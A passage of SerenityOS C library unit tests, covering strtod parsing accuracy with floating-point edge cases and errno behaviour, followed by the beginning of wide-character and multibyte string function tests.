{ "C9", -1, "3abef2d0f5da7dd9", "1e-25" },
{ "C10", -1, "3b282db34012b251", "1.0e-23" },
{ "C11", -1, "3ff3c0ca428c59fb", "1.2345678901234567890" },
{ "C12", -1, "402699999999999a", "1.13e1" },
{ "C13", -1, "43e158e460913d00", "1e+19" },
{ "C14", -1, "449017f7df96be18", "1.9e+22" },
{ "C15", -1, "4496deb1154f79ec", "2.7e22" },
{ "C16", -1, "449a420db02bd7d6", "3.1e22" },
{ "C17", -1, "44ada56a4b0835c0", "7e22" },
{ "C18", -1, "7fefffffffffffff", "1.7976931348623158e+308" },
{ "C19", -1, "7ff0000000000000", "1.7976931348623159e+308" },
{ "C20", -1, "7ff0000000000000", "1e+400" },
{ "C21", -1, "000fffffffffffff", "2.225073858507201136057409796709131975934819546351645648023426109724822222021076945516529523908135087914149158913039621106870086438694594645527657207407820621743379988141063267329253552286881372149012981122451451889849057222307285255133155755015914397476397983411801999323962548289017107081850690630666655994938275772572015763062690663332647565300009245888316433037779791869612049497390377829704905051080609940730262937128958950003583799967207254304360284078895771796150945516748243471030702609144621572289880258182545180325707018860872113128079512233426288368622321503775666622503982534335974568884423900265498198385487948292206894721689831099698365846814022854243330660339850886445804001034933970427567186443383770486037861622771738545623065874679014086723327636718749999999999999999999999999999999999999e-308" },
{ "C22", -1, "0010000000000000", "2.22507385850720113605740979670913197593481954635164564802342610972482222202107694551652952390813508791414915891303962110687008643869459464552765720740782062174337998814106326732925355228688137214901298112245145188984905722230728525513315575501591439747639798341180199932396254828901710708185069063066665599493827577257201576306269066333264756530000924588831643303777979186961204949739037782970490505108060994073026293712895895000358379996720725430436028407889577179615094551674824347103070260914462157228988025818254518032570701886087211312807951223342628836862232150377566662250398253433597456888442390026549819838548794829220689472168983109969836584681402285424333066033985088644580400103493397042756718644338377048603786162277173854562306587467901408672332763671875e-308" },
{ "C23", -1, "0010000000000000", "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000222507385850720138309023271733240406421921598046233183055332741688720443481391819585428315901251102056406733973103581100515243416155346010885601238537771882113077799353200233047961014744258363607192156504694250373420837525080665061665815894872049117996859163964850063590877011830487479978088775374994945158045160505091539985658247081864511353793580499211598108576605199243335211435239014879569960959128889160299264151106346631339366347758651302937176204732563178148566435087212282863764204484681140761391147706280168985324411002416144742161856716615054015428508471675290190316132277889672970737312333408698898317506783884692609277397797285865965494109136909540613646756870239867831529068098461721092462539672851562500000000000000001" },
{ "C24", -1, "7ff0000000000000", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792" },
{ "C25", -1, "7fefffffffffffff", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791.9999999999999999999999999999999999999999999999999999999999999999999999" },
{ "C26", -1, "0010000000000000", "2.2250738585072012e-308" },
{ "C27", -1, "0006123400000001", "8.44291197326099e-309" },
{ "C28", -1, "42c0000000000000", "35184372088831.999999999999999999999999999999999999" },
{ "C29", -1, "0000000000000000", "2.47032822920623272e-324" },
{ "C30", -1, "3ff199999999999a", "1.100000000000000088817841970012523233890533447265626" },
{ "C31", -1, "3f847ae147ae147b", ".010000000000000000057612911342378542997169" },
{ "C32", -1, "3ffd34fd8378ea83", "1.8254370818746402660437411213933955878019332885742187" },
{ "C33", -1, "43389e56ee5e7a58", "6929495644600919.5" },
{ "C34", -1, "432a9d28ff412a75", "3.7455744005952583e15" },
{ "C35", -1, "000fffffffffffff", "2.2250738585072011e-308" },
{ "C36", -1, "4c20000000000001", "5.0216813883093451685872615018317116712748411717802652598273e58" },
{ "C37", -1, "0000000008000000", "6.631236871469758276785396630275967243399099947355303144249971758736286630139265439618068200788048744105960420552601852889715006376325666595539603330361800519107591783233358492337208057849499360899425128640718856616503093444922854759159988160304439909868291973931426625698663157749836252274523485312442358651207051292453083278116143932569727918709786004497872322193856150225415211997283078496319412124640111777216148110752815101775295719811974338451936095907419622417538473679495148632480391435931767981122396703443803335529756003353209830071832230689201383015598792184172909927924176339315507402234836120730914783168400715462440053817592702766213559042115986763819482654128770595766806872783349146967171293949598850675682115696218943412532098591327667236328125E-316" },
{ "C38", -1, "0000000000010000", "3.237883913302901289588352412501532174863037669423108059901297049552301970670676565786835742587799557860615776559838283435514391084153169252689190564396459577394618038928365305143463955100356696665629202017331344031730044369360205258345803431471660032699580731300954848363975548690010751530018881758184174569652173110473696022749934638425380623369774736560008997404060967498028389191878963968575439222206416981462690113342524002724385941651051293552601421155333430225237291523843322331326138431477823591142408800030775170625915670728657003151953664260769822494937951845801530895238439819708403389937873241463484205608000027270531106827387907791444918534771598750162812548862768493201518991668028251730299953143924168545708663913273994694463908672332763671875E-319" },
{ "C39", -1, "0000800000000100", "6.953355807847677105972805215521891690222119817145950754416205607980030131549636688806115726399441880065386399864028691275539539414652831584795668560082999889551357784961446896042113198284213107935110217162654939802416034676213829409720583759540476786936413816541621287843248433202369209916612249676005573022703244799714622116542188837770376022371172079559125853382801396219552418839469770514904192657627060319372847562301074140442660237844114174497210955449896389180395827191602886654488182452409583981389442783377001505462015745017848754574668342161759496661766020028752888783387074850773192997102997936619876226688096314989645766000479009083731736585750335262099860150896718774401964796827166283225641992040747894382698751809812609536720628966577351093292236328125E-310" },
{ "C40", -1, "0000000000010800", "3.339068557571188581835713701280943911923401916998521771655656997328440314559615318168849149074662609099998113009465566426808170378434065722991659642619467706034884424989741080790766778456332168200464651593995817371782125010668346652995912233993254584461125868481633343674905074271064409763090708017856584019776878812425312008812326260363035474811532236853359905334625575404216060622858633280744301892470300555678734689978476870369853549413277156622170245846166991655321535529623870646888786637528995592800436177901746286272273374471701452991433047257863864601424252024791567368195056077320885329384322332391564645264143400798619665040608077549162173963649264049738362290606875883456826586710961041737908872035803481241600376705491726170293986797332763671875E-319" },
{ "C41", -1, "4e3fa69165a8eea2", "8.533e+68" },
{ "C42", -1, "19dbe0d1c7ea60c9", "4.1006e-184" },
{ "C43", -1, "7fe1cc0a350ca87b", "9.998e+307" },
{ "C44", -1, "0602117ae45cde43", "9.9538452227e-280" },
{ "C45", -1, "0a1fdd9e333badad", "6.47660115e-260" },
{ "C46", -1, "49e033d7eca0adef", "7.4e+47" },
{ "C47", -1, "4a1033d7eca0adef", "5.92e+48" },
{ "C48", -1, "4dd172b70eababa9", "7.35e+66" },
{ "C49", -1, "4b8b2628393e02cd", "8.32116e+55" },
{ "C50", -1, "bfed35696e58a32f", "-0.91276999999999997026378650843980722129344940185546876" },
{ "C51", -1, "c070a3d70a3d70a4", "-266.240000000000009094947017729282379150390624" },
{ "C52", -1, "3c97cb9433617c9c", "8.255628858767918002472043289952338102302250764062685473021474535926245152950286865234374e-17" },
{ "C53", -1, "43405e6cec57761a", "9214843084008499" },
{ "C54", -1, "3fe0000000000002", "0.500000000000000166533453693773481063544750213623046875" },
{ "C55", -1, "42c0000000000002", "3.518437208883201171875e13" },
{ "C56", -1, "404f44abd5aa7ca4", "62.5364939768271845828" },
{ "C57", -1, "3e0bd5cbaef0fd0c", "8.10109172351e-10" },
{ "C58", -1, "3ff8000000000000", "1.50000000000000011102230246251565404236316680908203125" },
{ "C59", -1, "433fffffffffffff", "9007199254740991.4999999999999999999999999999999995" },
{ "C60", -1, "44997a3c7271b021", "30078505129381147446200" },
{ "C61", -1, "4458180d5bad2e3e", "1777820000000000000001" },
{ "C62", -1, "3fe0000000000002", "0.50000000000000016656055874808561867439493653364479541778564453125" },
{ "C63", -1, "3fd92bb352c4623a", "0.3932922657273" },
{ "C64", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328124999e-324" },
{ "C65", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125e-324" },
{ "C66", -1, "0000000000000001", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125001e-324" },
{ "C67", -1, "0000000000000001", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984374999e-324" },
{ "C68", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375e-324" },
{ "C69", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375001e-324" },
{ "C70", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708031999e+307" },
{ "C71", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032e+307" },
{ "C72", -1, "7fe0000000000001", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429648741514697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032001e+307" },
{ "C73", -1, "3ff0000010000000", "1.00000005960464477550" },
{ "C74", -1, "36c6000000000000", "7.7071415537864938e-45" },
{ "C75", -1, "0000000000000000", "2183167012312112312312.23538020374420446192e-370" },
{ "C76", -1, "0006c9a143590c14", "94393431193180696942841837085033647913224148539854e-358" },
{ "C77", -1, "3ff0000000000000", "99999999999999994487665465554760717039532578546e-47" },
{ "C78", -1, "44b52d02c7e14af6", "10000000000000000000000000000000000000000e-17" },
{ "C79", -1, "0007802665fd9600", "104308485241983990666713401708072175773165034278685682646111762292409330928739751702404658197872319129036519947435319418387839758990478549477777586673075945844895981012024387992135617064532141489278815239849108105951619997829153633535314849999674266169258928940692239684771590065027025835804863585454872499320500023126142553932654370362024104462255244034053203998964360882487378334860197725139151265590832887433736189468858614521708567646743455601905935595381852723723645799866672558576993978025033590728687206296379801363024094048327273913079612469982585674824156000783167963081616214710691759864332339239688734656548790656486646106983450809073750535624894296242072010195710276073042036425579852459556183541199012652571123898996574563824424330960027873516082763671875e-1075" },
{ "C80", -1, "4025cccccccccccd", "10.900000000000000012345678912345678912345" },
// Hexadecimal floats.
// Hex floats do not allow hexadecimal digits in the exponent
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpef" },
{ "Fp1.1", 7, "406579a000000000", "0xab.cdp-ef" },
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpe-f" },
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpef-" },
{ "Fp1.2", 11, "7c9579a000000000", "0xab.cdp963" },
{ "Fp1.3", 12, "7c9579a000000000", "0xab.cdp+963" },
{ "Fp1.4", 12, "7c2579a000000000", "0xab.cdp+956" },
{ "Fp1.4", 12, "7c1579a000000000", "0xab.cdp+955" },
{ "Fp1.5", 12, "04a579a000000000", "0xab.cdp-956" },
// Sneaky floating point :P
{ "Fp2.1", 4, "4069400000000000", "0xCAPE" },
{ "Fp2.1", 4, "4069400000000000", "0xCAP-E" },
{ "Fp2.2", 6, "4069400000000000", "0xCAP0" },
{ "Fp2.2", 7, "4069400000000000", "0xCAP+0" },
{ "Fp2.2", 7, "4069400000000000", "0xCAP-0" },
{ "Fp2.3", 7, "4159400000000000", "0xCAP15" },
{ "Fp2.4", 7, "4459400000000000", "0xCAP63" },
{ "Fp2.5", 7, "43e9400000000000", "0xCAP56" },
};
constexpr size_t NUM_TESTCASES = sizeof(TESTCASES) / sizeof(TESTCASES[0]);
typedef double (*strtod_fn_t)(char const* str, char** endptr);
static long long cast_ll(double d)
{
union readable_t {
double as_double;
long long as_ll;
};
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
typedef char assert_ll_8bytes[sizeof(long long) == 8 ? 1 : -1];
[[maybe_unused]] auto longlong_size = sizeof(assert_ll_8bytes);
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
readable_t readable;
readable.as_double = d;
return readable.as_ll;
}
static bool is_strtod_close(strtod_fn_t strtod_fn, char const* test_string, char const* expect_hex, int expect_consume, long long expect_ll)
{
union readable_t {
double as_double;
unsigned char as_bytes[8];
};
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
readable_t readable;
char* endptr = (char*)0x123;
readable.as_double = strtod_fn(test_string, &endptr);
char actual_hex[16 + 1] = { 0 };
for (size_t i = 0; i < 8; ++i) {
// Little endian, need to reverse order.
snprintf(&actual_hex[2 * i], 3, "%02x", readable.as_bytes[8 - 1 - i]);
}
bool actual_consume_possible = false;
int actual_consume;
if (endptr < test_string) {
actual_consume = 999;
} else {
char const* max_endptr = test_string + strlen(test_string);
actual_consume_possible = endptr <= max_endptr;
actual_consume = endptr - test_string;
}
long long actual_ll = cast_ll(readable.as_double);
long long off_by = expect_ll - actual_ll;
bool ofby1_hex = off_by != 0 && -LENIENCY <= off_by && off_by <= LENIENCY;
bool wrong_hex = !ofby1_hex && strcmp(expect_hex, actual_hex) != 0;
bool error_cns = !actual_consume_possible;
bool wrong_cns = !error_cns && (actual_consume != expect_consume);
out(" {}{}{}({}{:2}{})",
ofby1_hex ? TEXT_OFBY1 : wrong_hex ? TEXT_WRONG
: "",
actual_hex,
(ofby1_hex || wrong_hex) ? TEXT_RESET : "",
error_cns ? TEXT_ERROR : wrong_cns ? TEXT_WRONG
: "",
actual_consume,
(error_cns || wrong_cns) ? TEXT_RESET : "");
return !(wrong_hex || error_cns || wrong_cns);
}
static long long hex_to_ll(char const* hex)
{
long long result = 0;
for (int i = 0; i < 16; ++i) {
char ch = *(hex + i);
int digit;
if ('0' <= ch && ch <= '9') {
digit = ch - '0';
} else if ('a' <= ch && ch <= 'f') {
digit = ch - 'a' + 10;
} else {
FAIL(ByteString::formatted("\n!!! Encountered char {:02x} at {}", ch, i));
return result;
}
result <<= 4;
result += digit;
}
return result;
}
TEST_CASE(strtod_accuracy)
{
outln("Running {} testcases...", NUM_TESTCASES);
outln("{:3}({:-5}): {:16}({:2}) {:16}({:2}) - {}", "num", "name", "correct", "cs", "strtod", "cs", "teststring");
int successes = 0;
int fails = 0;
for (size_t i = 0; i < NUM_TESTCASES; i++) {
Testcase& tc = TESTCASES[i];
if (tc.should_consume == -1) {
tc.should_consume = strlen(tc.test_string);
}
out("{:3}({:-5}): {}({:2})", i, tc.test_name, tc.hex, tc.should_consume);
long long expect_ll = hex_to_ll(tc.hex);
bool success = false;
success = is_strtod_close(strtod, tc.test_string, tc.hex, tc.should_consume, expect_ll);
outln(" from {}", tc.test_string);
if (success) {
successes += 1;
} else {
fails += 1;
}
}
outln("Out of {} tests, saw {} successes and {} fails.", NUM_TESTCASES, successes, fails);
if (fails != 0) {
FAIL(ByteString::formatted("{} strtod tests failed", fails));
}
outln("PASS (with leniency up to {} ULP from the exact solution)", LENIENCY);
}
TEST_CASE(test_strtod_sets_errno)
{
#define EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(str_value, double_value) \
do { \
errno = 0; \
auto value = strtod(str_value, nullptr); \
EXPECT_EQ(errno, 0); \
EXPECT_EQ(bit_cast<u64>(value), bit_cast<u64>(static_cast<double>(double_value))); \
} while (false)
#define EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO(str_value, double_value) \
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(str_value, double_value); \
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(" " str_value, double_value); \
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE("\t" str_value, double_value); \
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE("\n" str_value, double_value)
// Leading zeros are allowed
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("00", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("000", 0.);
// FIXME: Verify we only parse up to the appropriate point
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0xT", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0xp20", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.t", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.pt", 0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x1.p0", 1.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x1.pa", 1.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.1pa", 0x0.1p0);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.fpa", 0x0.fp0);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0xT", -0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0xp20", -0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.t", -0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.pt", -0.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x1.p0", -1.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x1.pa", -1.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.1pa", -0x0.1p0);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.fpa", -0x0.fp0);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("1", 1.);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("10e10", 10e10);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("10.10e10", 10.10e10);
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("inf", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("infinity", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("INF", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("INFINITY", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("Inf", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("iNf", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("inF", __builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-inf", -__builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-infinity", -__builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-INF", -__builtin_huge_val());
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-INFINITY", -__builtin_huge_val());
#define EXPECT_TO_GIVE_VALUE_WITH_ERRNO(str_value, double_value, errno_value) \
do { \
errno = 0; \
auto value = strtod(str_value, nullptr); \
EXPECT_EQ(errno, errno_value); \
EXPECT_EQ(bit_cast<u64>(value), bit_cast<u64>(static_cast<double>(double_value))); \
} while (false)
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("nan", __builtin_nan(""), ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("10e10000", __builtin_huge_val(), ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("0x1p10000", __builtin_huge_val(), ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-10e10000", -__builtin_huge_val(), ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-0x1p10000", -__builtin_huge_val(), ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("10e-10000", 0, ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("0x1p-10000", 0, ERANGE);
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-0x1p-10000", -0., ERANGE);
}

View file

@ -1,660 +0,0 @@
/*
* Copyright (c) 2021-2022, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <limits.h>
#include <string.h>
#include <time.h>
#include <wchar.h>
TEST_CASE(wcspbrk)
{
wchar_t const* input;
wchar_t* ret;
// Test empty haystack.
ret = wcspbrk(L"", L"ab");
EXPECT_EQ(ret, nullptr);
// Test empty needle.
ret = wcspbrk(L"ab", L"");
EXPECT_EQ(ret, nullptr);
// Test search for a single character.
input = L"abcd";
ret = wcspbrk(input, L"a");
EXPECT_EQ(ret, input);
// Test search for multiple characters, none matches.
ret = wcspbrk(input, L"zxy");
EXPECT_EQ(ret, nullptr);
// Test search for multiple characters, last matches.
ret = wcspbrk(input, L"zxyc");
EXPECT_EQ(ret, input + 2);
}
TEST_CASE(wcsstr)
{
wchar_t const* input = L"abcde";
wchar_t* ret;
// Empty needle should return haystack.
ret = wcsstr(input, L"");
EXPECT_EQ(ret, input);
// Test exact match.
ret = wcsstr(input, input);
EXPECT_EQ(ret, input);
// Test match at string start.
ret = wcsstr(input, L"ab");
EXPECT_EQ(ret, input);
// Test match at string end.
ret = wcsstr(input, L"de");
EXPECT_EQ(ret, input + 3);
// Test no match.
ret = wcsstr(input, L"z");
EXPECT_EQ(ret, nullptr);
// Test needle that is longer than the haystack.
ret = wcsstr(input, L"abcdef");
EXPECT_EQ(ret, nullptr);
}
TEST_CASE(wmemchr)
{
wchar_t const* input = L"abcde";
wchar_t* ret;
// Empty haystack returns nothing.
ret = wmemchr(L"", L'c', 0);
EXPECT_EQ(ret, nullptr);
// Not included character returns nothing.
ret = wmemchr(input, L'z', 5);
EXPECT_EQ(ret, nullptr);
// Match at string start.
ret = wmemchr(input, L'a', 5);
EXPECT_EQ(ret, input);
// Match at string end.
ret = wmemchr(input, L'e', 5);
EXPECT_EQ(ret, input + 4);
input = L"abcde\0fg";
// Handle finding null characters.
ret = wmemchr(input, L'\0', 8);
EXPECT_EQ(ret, input + 5);
// Don't stop at null characters.
ret = wmemchr(input, L'f', 8);
EXPECT_EQ(ret, input + 6);
}
TEST_CASE(wmemcpy)
{
wchar_t const* input = L"abc\0def";
auto buf = static_cast<wchar_t*>(malloc(8 * sizeof(wchar_t)));
if (!buf) {
FAIL("Could not allocate space for copy target");
return;
}
wchar_t* ret = wmemcpy(buf, input, 8);
EXPECT_EQ(ret, buf);
EXPECT_EQ(memcmp(buf, input, 8 * sizeof(wchar_t)), 0);
}
TEST_CASE(wmemset)
{
auto buf_length = 8;
auto buf = static_cast<wchar_t*>(calloc(buf_length, sizeof(wchar_t)));
if (!buf) {
FAIL("Could not allocate memory for target buffer");
return;
}
wchar_t* ret = wmemset(buf, L'\U0001f41e', buf_length - 1);
EXPECT_EQ(ret, buf);
for (int i = 0; i < buf_length - 1; i++) {
EXPECT_EQ(buf[i], L'\U0001f41e');
}
EXPECT_EQ(buf[buf_length - 1], L'\0');
free(buf);
}
TEST_CASE(wmemmove)
{
wchar_t* ret;
wchar_t const* string = L"abc\0def";
auto buf = static_cast<wchar_t*>(calloc(32, sizeof(wchar_t)));
if (!buf) {
FAIL("Could not allocate memory for target buffer");
return;
}
// Test moving to smaller addresses.
wmemcpy(buf + 3, string, 8);
ret = wmemmove(buf + 1, buf + 3, 8);
EXPECT_EQ(ret, buf + 1);
EXPECT_EQ(memcmp(string, buf + 1, 8 * sizeof(wchar_t)), 0);
// Test moving to larger addresses.
wmemcpy(buf + 16, string, 8);
ret = wmemmove(buf + 18, buf + 16, 8);
EXPECT_EQ(ret, buf + 18);
EXPECT_EQ(memcmp(string, buf + 18, 8 * sizeof(wchar_t)), 0);
free(buf);
}
TEST_CASE(wcscoll)
{
// Check if wcscoll is sorting correctly. At the moment we are doing raw char comparisons,
// so it's digits, then uppercase letters, then lowercase letters.
// Equalness between equal strings.
EXPECT(wcscoll(L"", L"") == 0);
EXPECT(wcscoll(L"0", L"0") == 0);
// Shorter strings before longer strings.
EXPECT(wcscoll(L"", L"0") < 0);
EXPECT(wcscoll(L"0", L"") > 0);
EXPECT(wcscoll(L"123", L"1234") < 0);
EXPECT(wcscoll(L"1234", L"123") > 0);
// Order within digits.
EXPECT(wcscoll(L"0", L"9") < 0);
EXPECT(wcscoll(L"9", L"0") > 0);
// Digits before uppercase letters.
EXPECT(wcscoll(L"9", L"A") < 0);
EXPECT(wcscoll(L"A", L"9") > 0);
// Order within uppercase letters.
EXPECT(wcscoll(L"A", L"Z") < 0);
EXPECT(wcscoll(L"Z", L"A") > 0);
// Uppercase letters before lowercase letters.
EXPECT(wcscoll(L"Z", L"a") < 0);
EXPECT(wcscoll(L"a", L"Z") > 0);
// Uppercase letters before lowercase letters.
EXPECT(wcscoll(L"a", L"z") < 0);
EXPECT(wcscoll(L"z", L"a") > 0);
}
TEST_CASE(mbsinit)
{
// Ensure that nullptr is considered an initial state.
EXPECT(mbsinit(nullptr) != 0);
// Ensure that a zero-initialized state is recognized as initial state.
mbstate_t state = {};
EXPECT(mbsinit(&state) != 0);
// Read a partial multibyte sequence (0b11011111 / 0xdf).
size_t ret = mbrtowc(nullptr, "\xdf", 1, &state);
if (ret != -2ul)
FAIL(ByteString::formatted("mbrtowc accepted partial multibyte sequence with return code {} (expected -2)", static_cast<ssize_t>(ret)));
// Ensure that we are not in an initial state.
EXPECT(mbsinit(&state) == 0);
// Read the remaining multibyte sequence (0b10111111 / 0xbf).
ret = mbrtowc(nullptr, "\xbf", 1, &state);
if (ret != 1ul)
FAIL(ByteString::formatted("mbrtowc did not consume the expected number of bytes (1), returned {} instead", static_cast<ssize_t>(ret)));
// Ensure that we are in an initial state again.
EXPECT(mbsinit(&state) != 0);
}
TEST_CASE(mbrtowc)
{
size_t ret = 0;
mbstate_t state = {};
wchar_t wc = 0;
// Ensure that we can parse normal ASCII characters.
ret = mbrtowc(&wc, "Hello", 5, &state);
EXPECT_EQ(ret, 1ul);
EXPECT_EQ(wc, static_cast<wchar_t>('H'));
// Try two three-byte codepoints (™™), only one of which should be consumed.
ret = mbrtowc(&wc, "\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
EXPECT_EQ(ret, 3ul);
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
// Try a null character, which should return 0 and reset the state to the initial state.
ret = mbrtowc(&wc, "\x00\x00", 2, &state);
EXPECT_EQ(ret, 0ul);
EXPECT_EQ(wc, static_cast<wchar_t>(0));
EXPECT_NE(mbsinit(&state), 0);
// Try an incomplete multibyte character.
ret = mbrtowc(&wc, "\xe2\x84", 2, &state);
EXPECT_EQ(ret, -2ul);
EXPECT_EQ(mbsinit(&state), 0);
mbstate_t incomplete_state = state;
// Finish the previous multibyte character.
ret = mbrtowc(&wc, "\xa2", 1, &state);
